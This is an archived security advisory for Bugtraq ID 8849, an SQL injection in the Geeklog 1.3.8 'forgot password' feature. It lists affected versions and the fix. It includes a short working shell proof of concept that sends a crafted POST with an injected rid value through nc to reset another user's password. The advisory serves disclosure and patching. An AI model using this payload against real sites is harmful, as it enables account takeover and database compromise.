Geeklog Forgot Password SQL Injection Vulnerability

BID:8849

Info

Geeklog Forgot Password SQL Injection Vulnerability

Bugtraq ID: 8849
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Oct 19 2003 12:00AM
Updated: Oct 19 2003 12:00AM
Credit: Discovery of this issue is credited to Jouko Pynnonen <[email protected]>.
Vulnerable: Geeklog Geeklog 1.3.8 rc2
Geeklog Geeklog 1.3.8 rc1
Geeklog Geeklog 1.3.8 -1sr1
Geeklog Geeklog 1.3.8 -1
Geeklog Geeklog 1.3.8
Not Vulnerable: Geeklog Geeklog 1.3.8 -1sr2

Discussion

Geeklog Forgot Password SQL Injection Vulnerability

An SQL injection vulnerability has been reported in the Geeklog "forgot password" feature (introduced in Geeklog 1.3.8). Due to insufficient sanitization of user-supplied input, it is possible for remote attacks to influence database queries. This could result in compromise of the Geeklog installation or attacks against the database.

Exploit / POC

Geeklog Forgot Password SQL Injection Vulnerability

This issue may be exploited with a web browser. The following example was provided:

------------->8------------->8------------->8------------->8--------------
#!/bin/sh

echo "POST /path/to/gl/users.php HTTP/1.0
Content-length: 50
Content-type: application/x-www-form-urlencoded

mode=setnewpwd&passwd=new&uid=2&rid=3'+or+uid='1&
" | nc localhost 80

------------->8------------->8------------->8------------->8--------------

Solution / Fix

Geeklog Forgot Password SQL Injection Vulnerability

Solution:
This issue has been addressed as of Geeklog 1.3.8-1sr2.


Geeklog Geeklog 1.3.8 rc1

Geeklog Geeklog 1.3.8 -1

Geeklog Geeklog 1.3.8 -1sr1

Geeklog Geeklog 1.3.8 rc2

Geeklog Geeklog 1.3.8

References

Geeklog Forgot Password SQL Injection Vulnerability

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